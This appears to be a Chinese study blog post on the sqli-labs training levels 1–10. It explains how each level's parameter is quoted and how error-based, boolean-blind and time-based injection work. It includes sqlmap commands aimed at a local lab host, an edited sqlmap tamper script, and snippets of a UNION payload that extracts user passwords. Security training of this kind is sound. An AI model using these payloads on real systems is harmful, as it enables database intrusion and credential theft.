sqlilab less1-less10

less-1
参数被单引号包裹,加单引号,闭合后绕过


less-2
参数没有被包裹,直接带入查询,不需要闭合


less-3
参数被
('$id')
包裹,需要将他闭合


less-4
参数被小括号和双引号包裹,先对id进行处理,两边加上双引号,再带入查询,需要将其闭合


less-5
查询结果将mysql_error()返回前端,报错注入。需要先将前边进行闭合,再进行注入。


less-6
同样将报错信息返回前端,参数用双引号包裹


less-7
这里的报错内容被注释掉,如果正确的话返回的是一个,错误的话返回另一个,可以通过left,substr等函数来判断内容


less-8
正确的话有内容返回,错误的话无内容,参数无包裹。and函数必须两边均为True,返回正确

if为判断,ascii为转为acsii码,substr为选择内容

python .\sqlmap.py -u http://sqli.com/Less-8/?id=1 --dbs --technique B

less-9
返回的内容一样时,只能基于时间注入,通过sleep函数,在less-8上加上sleep


python .\sqlmap.py -u http://sqli.com/Less-9/?id=1 --dbs --technique T

less-10
双引号包裹的时间盲注,同less-9。


这部分使用sqlmap看了好多文章,都是说sqlmap可以直接跑,但是我没有成功。这里的闭合是双引号闭合,通过分析sqlmap的攻击语句是

通过修改sqlmap的一个单引号转utf-8的tamper脚本,将单引号替换为双引号,注入成功
1 #!/usr/bin/env python
2
3 """
4 Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
5 See the file 'LICENSE' for copying permission
6 """
7
8 from lib.core.enums import PRIORITY
9
10 __priority__ = PRIORITY.LOWEST
11
12
13 def dependencies():
14 pass
15
16
17 def tamper(payload, **kwargs):
18 """
19 Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
20
21 References:
22 * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
23 * http://lukasz.pilorz.net/testy/unicode_conversion/
24 * http://sla.ckers.org/forum/read.php?13,11562,11850
25 * http://lukasz.pilorz.net/testy/full_width_utf/index.phps
26
27 >>> tamper("1 AND '1'='1")
28 '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
29 """
30
31 return payload.replace('\'', "%22") if payload else payload


再或者指定prefix参数

sqlilab less1-less10的更多相关文章
- 通过sqli-labs学习sql注入——基础挑战之less1
环境准备: Phpstudy (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...
- sqli_labs学习笔记(一)Less-1~Less-20
开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) · 方法一:手工UNION联合查询注入 输入单引号, ...
- sqli-labs Less-1~~~Less-23
Less-1 payload:'+and+1=2+union+select+1,username,password+from+security.users+limit 0,1--+ 第一关正规的字符型 ...
- [html]LESS-1.3.3
网站:http://www.bootcss.com/p/lesscss/ 下载链接:http://files.cnblogs.com/files/z5337/less-1.3.3.min.js
- less-1
说在前面的话,为什么用less: 1.需要编写的代码明显变少了 2.css管理更加容易 3.less学习成本低 4.使用less实现配色变得非常容易 5.兼容css3,实现各个浏览器中css的兼容写法 ...
- sqli-lab 第一题 单引号 error based single quotes
一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输 ...
- 【sqli-labs】Less1~Less4
学习sql注入啦,一下都是我做sqli-labs时的笔记.可能有错误,如果有人发现了欢迎指正~~ 常用知识点: 1.mysql注释有三种:① #: 注释从#到行尾 ② --空格: 注释到行尾,注意-- ...
- sqli-labs less1 &&less3&&less4学习心得
0x01.less1 id=1/ id=1 and 1=1结果正常 id=1 and 1=2结果正常,不合理 id=1'提示:
- 【sqli-labs】 less10 GET - Blind - Time based. - Double quotes (基于时间的双引号盲注)
这个和less9一样,单引号改完双引号就行了 http://localhost/sqli/Less-10/?id=1" and sleep(5)%23 5s后页面完成刷新 http://lo ...
随机推荐
- dhtmlxSpreadSheet开源电子表格小部件创建教程
dhtmlxSpreadSheet是用纯JavaScript编写的开源电子表格小部件,可让您快速在网页上添加类似于Excel的可编辑数据表.高度可定制的JavaScript电子表格组件,具有优雅的Ma ...
- 模块二:ES新特性与TypeScript、JS性能优化
一.请说出下列最终得执行结果,并解释为什么.
- vue中上拉加载数据的实现
获取屏幕高度来判断数据的加载 效果是这样的
- Java Web核心组件之Servlet的使用介绍
Servlet是Java Servlet的简称,称为小程序或服务连接器,用Java编写的服务端程序,主要功能在于交互式地浏览和修改数据,生成动态的Web内容:Servlet运行于支持Java的应用服务 ...
- unordered_set
用哈希表实现的 https://blog.csdn.net/dream_you_to_life/article/details/46785741
- 快速傅里叶变换学习笔记(FFT)
什么是FFT FFT是用来快速计算两个多项式相乘的一种算法. 如果我们暴力计算两个多项式相乘,复杂度必然是\(O(n^2)\)的,而FFT可以将复杂度降至\(O(nlogn)\) 如何FFT 要学习F ...
- 公钥、私钥、SSL/TLS、会话密钥、DES
一,公钥私钥 1,公钥和私钥成对出现 2,公开的密钥叫公钥,只有自己知道的叫私钥 3,用公钥加密的数据只有对应的私钥可以解密 4,用私钥加密的数据只有对应的公钥可以解密 5,如果可以用公钥解密,则必然 ...
- java常用类——包装类
八种基本数据类型对应八种包装类和它们的继承关系 基本数据类型 对应的包装类 boolean Boolean byte Byte short Short int Integer long Long ch ...
- MobileNet——一种模型轻量化方法
导言 新的CNN网络的提出,提高了模型的学习能力但同时也带来了学习效率的降低的问题(主要体现在模型的存储问题和模型进行预测的速度问题),这使得模型的轻量化逐渐得到重视.轻量化模型设计主要思想在于设计更 ...
- JS中使用for-each遍历数组
1 let array = [1, 3, 6, 8, 9, 0, 5]; 2 /* 3 index是数组索引 4 value代表数组的值 5 arr是指整个数组 6 */ 7 array.forEac ...